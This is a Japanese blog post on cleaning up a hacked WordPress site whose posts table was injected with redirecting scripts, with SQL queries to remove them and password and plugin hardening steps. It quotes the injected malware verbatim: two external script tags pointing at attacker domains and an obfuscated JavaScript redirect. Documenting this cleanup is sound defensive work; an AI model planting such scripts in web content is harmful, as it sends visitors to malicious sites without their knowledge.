環境
・WordPress 4.4.1
・Mysql 5.5
・さくらレンタルサーバー
サーバーやデータベースのパスワードなどはデフォルトのまま使用していました。
データベースには、直接、接続できないようになっていたため、sshで経由する接続する必要がありました。
※問い合わせフォームなどフロントからデータをpostされるような機能は使用していません。
事象
ワードプレスの記事のページに飛ぶと、
リダイレクトがたくさん走り、別のサイトに誘導される。
そのため記事ページが開けない。
リダイレクトしていた原因
不正アクセスされ、データの改ざんが行われていました。
具体的にいうと、データベースに意図しないスクリプトファイルを読み込むコードが埋め込まれていたことが原因です。
wp_postsという記事のテーブルに埋め込まれていました。
不正なスクリプトの削除
Exploit Scanner をインストール
##文字列scriptの検索
そのまま管理画面で文字列scriptで検索すると250個ほどひっかかった。※普通にブラウザ上でctrl+fで検索。
そして、あやしいスクリプトが見つかる。
全部ではないにせよ、ほぼ全ての記事ページに散見された。
テーブルでいうとwp_postsにあたる。
<script type='text/javascript' src='https https://con1.sometimesfree.biz/c.js'></script>
ということでこれを削除する。
かなりの量書かれているので、SQLを実行することにする。
除去した後、もう一度スキャンすると、また別のスクリプトが見つかる。
<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>
ということでこれもSQLで除去する。
二つのupdateを実行した後で、もう一度、Exploit Scannerでスキャンを実行して文字列scriptを検索してみると、数が激減している。(54個になった)
こちらのタイプもあります。
<script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>
SQLクエリの実行
phpMyAdminかSequelProのコンソール画面、もしくはsshログイン後データベースに接続して、下記のクエリを実行してください。
※テーブルがwp_posts
でなければ変更して下さい。
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>', '') WHERE INSTR(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>') > 0;
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;
UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join(\"\");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>', '') WHERE INSTR(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>') > 0;
再発防止策
とりあえず、不要なスクリプトは削除できて、サイトの記事ページにアクセスしても問題なく映っていることが確認できました。
どういった形で、このようなスクリプトが埋め込まれたかまでは分かりません。
ワードプレスの管理画面からではなく、ssh接続経由でデータベースに入り込まれてインサート文でもやられた可能性が高いと思っていますが。(sshのパスワードとデータベースのパスワードが同一でした。)
他に原因として推測できる方いたら教えて頂けると助かります。
取り急ぎ、再発防止に向けて下記の対策を実施しました。
サーバーパスワードの変更
さくらの場合、ssh、FTPのパスワードがこれにあたります。(二つともパスワード共通)
データベース接続パスワードの変更
さくらのコントロールパネルから変更した後、
wp-config.phpのファイルも変更
管理画面のパスワードの変更
adminのパスワードを強固なものに変更しました。
ワードプレスの場合、どうしてもadminユーザーだけは特定されてしまうのが難点だと痛感しました。
プラグイン「SiteGuard」の追加
このプラグインはログインURLを変更できます。
かつパスワード認証の際に、ユーザー名とパスワードだけでなく、
無作為な文字列も入力する画像認証もついてますので、セキュリティは格段に上がりそうです。
参考サイト
http://webfood.info/wordpress-redirect-hacking/
https://productforums.google.com/forum/#!topic/webmasters/1IT1Xg3pBwU